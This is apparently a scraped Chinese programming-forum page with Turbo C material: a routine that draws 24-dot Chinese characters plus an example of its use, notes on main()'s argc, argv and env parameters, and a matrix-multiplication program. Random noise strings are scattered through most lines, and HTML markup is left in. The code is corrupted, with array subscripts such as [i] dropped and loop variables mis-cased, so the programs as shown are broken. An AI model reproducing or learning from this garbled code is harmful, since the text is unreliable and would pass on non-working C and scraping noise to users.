) f8 A/ R1 S! E) J8 M; ^  jread(handle,by,72);
# e# t5 b6 L% z: H1 Pfor(i1=0;i1&lt;24*m;i1=i1+m)
for(i4=0;i4<M;I4++)
for(i2=0;i2&lt;=2;i2++)
) b  U+ }: o( A- W$ `0 ?$ Lfor(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1/m*3+i2],7-i3))
for(i5=0;i5<N;I5++)
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
7 i3 R! l5 ^: c8 x7 b& p5 vx=x+24*m+z;
}
}
return(x);
, V1 y( s/ ~8 E# V} 使用Wrt24Hz的例子：#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
  N6 Y* u* o# R1 q$ }8 J4 O3 Gconst char* HzStr = "苦丁香Ｃ语言辅助学习软件";
6 B+ \# O: G: }5 ovoid main(){
- B4 [6 k9 B8 Nint gr=DETECT,gm;
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
OpenHz( Hz24Path );
Wrt24Hz(20,20, /*先是在（x,y）*/
4, /*汉字间的空格为4*/
! z2 g% R8 Z/ YRED, /*用红色显示*/
) ?2 H7 m/ L/ s3 E9 P2, /*x 方向放大２倍*/
, v7 D7 A, A& }% [2 \6 I9 n' x4, /*y 方向放大４倍*/
HzStr); /*显示字符串*/
CloseHz();
# K) o; S2 @1 q6 g3 ?( {" l  ygetch();
closegraph();
}
3 d% u9 d) X* B</P>

韩冰

<>　　再谈main()主函数
- C) L& R- d* N　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
1. main() 参数
　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
　　* argc: 整数，为传给main()的命令行参数个数。
6 v! F7 }: x: W! m　　* argv: 字符串数组。
在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
( r( N, c% {: e  C) e. p  ~2 z3 U...
argv[argc]为NULL。
8 D6 M# ?" L5 C5 s9 V  I　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
( |! O) p2 D3 d) G( R5 |5 c7 g- K7 r值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
1 z. ]$ v. r# l. S#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
#define X 3
#define Y 3</P><>int a[X][Y];
int b[X][Y];
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
: y9 P8 [- V, q9 n& g6 D* Fmain()
! O0 b+ Z9 K/ q/ Z5 a{
int i,j,temp;
clrscr();
/ n0 F. r: s1 `( oprintf("lease input int matrix b[%d][%d]\n",X,Y);
1 f# L9 _$ U6 |' c% b1 _$ tfor(i=0;i&lt;Y;i++)
for(j=0;j&lt;Y;j++){
4 y& s% S; u/ t* H5 Z- D/ lscanf("%d",&amp;temp);
b[j]=temp;
3 f( v$ {% R+ a1 O5 |: I# j2 N}
printf("lease input int matrix c[%d][%d]\n",X,Y);
, C- I+ G1 F5 O8 w# cfor(i=0;i&lt;X;i++)
for(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
( B( B' ~3 o1 B: [4 Jc[j]=temp;
. ^% W% z5 ^9 d5 t) O}
matrix(b,c);
printf("Now print resource matrix b[%d][%d]=",X,Y);
for(i=0;i&lt;X;i++){
% d: K, w8 ?2 L/ S* {printf("\n");
! |; ?* E, p$ E8 |# I) L7 \for(j=0;j&lt;Y;j++)
printf("%d ",b[j]);
}
printf("\n");
. S% z9 v! O4 c+ t) e! Pprintf("Now print resource matrix c[%d][%d]=",X,Y);
for(i=0;i&lt;X;i++){
, y: t. x8 J2 z3 j, K1 R( p% \printf("\n");
: d) g: [5 {& E8 F' D0 q' [' V6 Xfor(j=0;j&lt;Y;j++)
printf("%d ",c[j]);
' C  K" h  ?7 p, E}
printf("\n");
0 @1 J$ B& f+ b8 @8 eprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
' g: l# d7 j8 I' a& G# S) D5 ]1 o; wfor(i=0;i&lt;X;i++){
printf("\n");
+ s7 }! ~& a$ @: T2 cfor(j=0;j&lt;Y;j++)
4 O/ i1 t/ f0 G2 M, A0 M+ ]printf("%d ",a[j]);
0 q7 m8 E4 ^& z- U}
/ S3 w. e/ F% p7 \getch();
) `) D8 k6 k  I- ?& ureturn 0;
% S+ I5 Q# g- _% Z}
/********************************************************************/
void matrix(int b[][X],int c[][Y])
; [+ Z' L. U, f/ P{
int i,j,k,temp;
5 v) d8 T  `; Ofor(i=0;i&lt;X;i++)
for(j=0;j&lt;Y;j++){
) m8 E' m! V# [7 b4 E1 e- e; Bfor(k=0;k&lt;Y;k++)
a[j]+=b[k]*c[k][j];
$ k4 q6 s) B1 k, z/ i9 ~! o}
}</P>